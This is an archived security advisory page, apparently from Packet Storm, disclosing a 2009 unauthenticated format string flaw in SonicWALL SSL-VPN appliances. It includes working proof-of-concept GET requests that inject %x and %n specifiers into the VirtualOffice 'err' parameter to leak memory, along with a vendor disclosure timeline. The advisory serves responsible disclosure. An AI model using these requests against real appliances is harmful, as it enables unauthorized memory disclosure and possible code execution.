the last unbiased stronghold

SonicWALL Format String Vulnerability

SonicWALL Format String Vulnerability
Posted May 30, 2009
Authored by Patrick Webster | Site aushack.com

The SonicWALL SSL-VPN suffers from a format string vulnerability.

tags | exploit
MD5 | 6794399b8f40d95dc448414867b8a1d8

SonicWALL Format String Vulnerability

Change Mirror Download
aushack.com - Vulnerability Advisory
-----------------------------------------------
Release Date:
29-May-2009

Software:
SonicWALL - SSL-VPN Remote Access
http://www.sonicwall.com/

Description:
"SonicWALL SSL VPN appliances provide small and mid-size organizations an
easy-to-use, secure and affordable remote access solution that requires no
pre-installed client software. Utilizing a standard Web browser, authorized
users such as employees, contractors, partners and customers, can easily and
securely access e-mail, files, intranets, Web and legacy applications
and remote desktops from any location."

Versions affected:
SonicWALL SSL-VPN 2000/4000 3.5.0.4 and below.
SonicWALL SSL-VPN 200 3.0.0.8 and below.


Vulnerability discovered:

Format string vulnerability.

Vulnerability impact:

High - Remote code execution, and the ability to remotely map out the
internal memory structures.

Vulnerability information:

This vulnerability allows remote attackers to execute format string specifiers
on the remote appliance as an unauthenticated user.

The device uses a HTML form, where failed authentication results in an error:
"Login failed - Incorrect name/password"

https://[target]/cgi-bin/welcome/VirtualOffice?err=Login%20failed%20-%20Incorrect%20name%2Fpassword

By inserting format strings instead of expected input, the statement
is interpreted
by printf() and the result is returned in a HTTP GET response.

Examples:

The following GET request will result in "ABCD0044434241" being returned.

https://[target]/cgi-bin/welcome/VirtualOffice?err=ABCD%x%x%x

0x44434241 is the little endian hexadecimal representation for ABCD.

It is possible to read memory remotely by specifying further format
strings, such as:

https://[target]/cgi-bin/welcome/VirtualOffice?err=%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

returns

"007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578254007120040304d8cbffff22840221389804b1e04007127925000"

This may reveal sensitive information.

Attempts to write to memory result in an error, indicating that an
access violation
may have occurred, therefore remote code execution is likely possible
with further research (i.e. physical access :).

https://[target]/cgi-bin/welcome/VirtualOffice?err=%n

"Sorry, the SSL-VPN you are trying to reach is unavailable at this
time. Please try again later."

References:
aushack.com advisory
http://www.aushack.com/200905-sonicwall.txt

Credit:
Patrick Webster ( patrick@aushack.com )

Disclosure timeline:
12-Jan-2009 - Discovered during audit.
09-Feb-2009 - 1st email sent to security@sonicwall.com. No response.
27-Feb-2009 - 2nd email sent to security@sonicwall.com. No response.
01-May-2009 - Asked contacts within the security industry for
SonicWALL contact.
07-May-2009 - Received email from SonicWALL contact.
08-May-2009 - Sent details to SonicWALL contact.
15-May-2009 - SSL 200 - 3.0.0.9 fix released.
27-May-2009 - SSL 2000/4000 - 3.5.0.5 fix released.
29-May-2009 - Public disclosure.

EOF

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close